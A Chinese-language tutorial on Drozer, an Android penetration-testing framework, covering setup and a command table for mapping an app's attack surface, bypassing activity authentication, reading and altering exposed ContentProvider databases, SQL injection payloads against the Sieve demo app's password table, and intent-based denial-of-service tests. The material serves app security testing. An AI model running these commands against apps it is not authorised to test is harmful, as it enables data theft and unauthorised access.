Drozer安全渗透测试
一、介绍
Drozer是一款综合的安全评估和攻击的android框架,据 产品介绍 里说,Drozer可以全面评估app的安全性,并帮助团队把app的安全风险保持在可控范围内。
二、环境搭建
2.1 前期准备工作
准备以下环境以及工具的安装,确保配置正确
编号 |
工具名称 |
备注 |
1 |
JDK1.7以上版本 |
配置环境变量 |
2 |
adb |
配置环境变量 |
3 |
drozer |
1.Win 7安装Drozer |
4 |
Win 7 |
操作系统 |
5 |
Android手机 |
|
6 |
Android USB数据线 |
确保PC机USB接口已放开 |
7 |
Android SDK |
配置Android SDK Path环境变量 |
注:1. 安装完后成,需要检查,Java与adb配置是否正确
2. 编写drozer需要JAVA的配置文件,并将该文件放到C:\Users\xxxxx 目录下,并文件命令为:. drozer_config 配置文件的内容如下:
[executables]
java=D:\Program Files (x86)\Java\jdk1.8.0_45\bin\java.exe
javac=D:\Program Files (x86)\Java\jdk1.8.0_45\bin\javac.exe
dx=G:\Android\android-sdk_r18-windows\android-sdk-windows\platform-tools\dx.bat
以上路径根据实际情况填写。
附录:
2.2 drozer链接操作:
PC与手机进行链接步骤如下:
- 在windows上安装好drozer.exe;在手机安装下载包中的Agent.apk的包。在手机上安装好的drozer图标为:
2、打开CMD并进入drozer安装目录(C:\drozer)在PC端开启转发 adb forward tcp:31415 tcp:31415
3、在手机端打开安装好的apk程序,并且启动服务,详情如下图:
4、在PC上开启drozer.bat,开启Drozer console,使用命令:drozer console connect ;在出现Android机器人图片的时候,说明已链接成功。
三、Drozer运行命令的使用以及其解释:
编号 | 命令 | 作用 | 关键字搜索 |
获取APK信息 | |||
1 | run app.package.list -f 过滤信息> D:\packagelist | list命令用以列出所有包含“example”的手机中已安装package名称,记住目标应用的完整名称,即,查看终端设备所有APK信息 | |
2 | run app.package.info -a com.testapp_package > D:\package.txt | 获取app安装包信息 | |
3 | run app.package.attacksurface com.testapp_package> D:\attacksurface.txt | 查找APK存在的攻击面(activity、contentprovider、service) | |
绕过Activity鉴权 | |||
1 | run app.activity.info -a com.testapp_package> D:\activity.txt | 收集Activity的信息进行收集,查找暴露的Activity | 搜索APP包名检查 |
2 | run app.activity.start–-component com.testapp_package You_want_to_start_activity | 构造intent信息绕过鉴权直接运行Activity | |
利用ContentProvider攻击(数据泄露) | |||
1 | run app.provider.info -p null (或-a com.testapp_package)> D:\provider.txt | APP应用的Content Provider的访问权限控制合法检查或者:收集ContentProvider的信息进行收集,查找暴露的ContentProvider | 搜索APP包名检查 |
2 | run scanner.provider.finduris -a com.testapp_package | 发现暴露的ContentProvider后,可以对数据库进行探测。探测出可以查询的URI |
所查询到的URL将应用到其它URL红 色字体的URL标记中 |
3 | run app.provider.query URI --vertical 使用示例:run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical |
查看数据库中的内容,查询到数据说明存在漏洞,如 | |
4 | run app.provider.insert URI对应数据表中的字段 | 对数据库表进行插入操作 | |
5 | run app.provider.delete URI–-selection “条件” | 对数据库表进行删除操作 | |
SQL注入 | |||
1 | run scanner.provider.injection -a com.testapp_package> D:\injection.txt | 检查APP是否存在SQL注入风险(搜索Injection关键字) | Injection |
2 | run app.provider.query URI–-projection “ ‘ ” 使用示例:run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'" |
查看URI对应的数据库表;报错则说明存在SQL注入。 | |
3 | run app.provider.query URI–-selection “ ‘ ” 使用示例:run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'" |
||
4 | run app.provider.query URI–projection “* From SQLITE_MASTER WHERE type=‘table’;--” 使用示例:run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--" |
列出所有表,可以通过返回的错误信息展示出改Content准备执行的语句,获取数据库中的信息; | |
5 | run app.provider.query URI–-selection “_id = ?” | sql注入 | |
6 | run scanner.provider.traversal -a com.mwr.example.sieve | 同时检测SQL注入和目录遍历 | |
intent组件触发(拒绝服务、权限提升) 利用intent对组件的触发一般有两类漏洞,一类是拒绝服务,一类的权限提升。拒绝服务危害性比较低,更多的只是影响应用服务质量;而权限提升将使得没有该权限的应用可以通过intent触发拥有该权限的应用,从而帮助其完成越权行为。 |
|||
1.查看暴露的广播组件信息 | |||
1 | run app.broadcast.info > D:\broadcaseinfo.txt | 获取broadcast receivers信息 | |
2 | run app.broadcast.send --component 包名 --action android.intent.action.XXX | ||
2.尝试拒绝服务攻击检测,向广播组件发送不完整intent(空action或空extras): | |||
1 | run app.broadcast.send --component 包名 ReceiverName | 空action | |
run app.broadcast.send --component 包名 ReceiverName | |||
2 | run app.broadcast.send --action android.intent.action.XXX | 空extras | |
其它信息 | |||
1 | run app.package.debuggable > D:\debug.txt | 检查APP中的Android Manifest.xml文件中的debuggable属性 | 搜索APP包名检查 |
2 | run app.package.launchintent > D:\launchintent.txt | 获取APP运行信息 | |
3 | run app.package.list -f 过滤信息> D:\packagelist | 包列表 | |
4 | run app.package.manifest com.testapp_package> D:\manifest.txt | 查看Manifest.xml | |
5 | run app.package.shareduid > D:\shareduid.txt | 普通应用UserId大于1000,系统应用UserId为1000;同时不存在shareuid为1000的应用 | 搜索包名 |
6 | run app.service.info -a com.testapp_package > D:\service.txt | 扫描对外开放的services |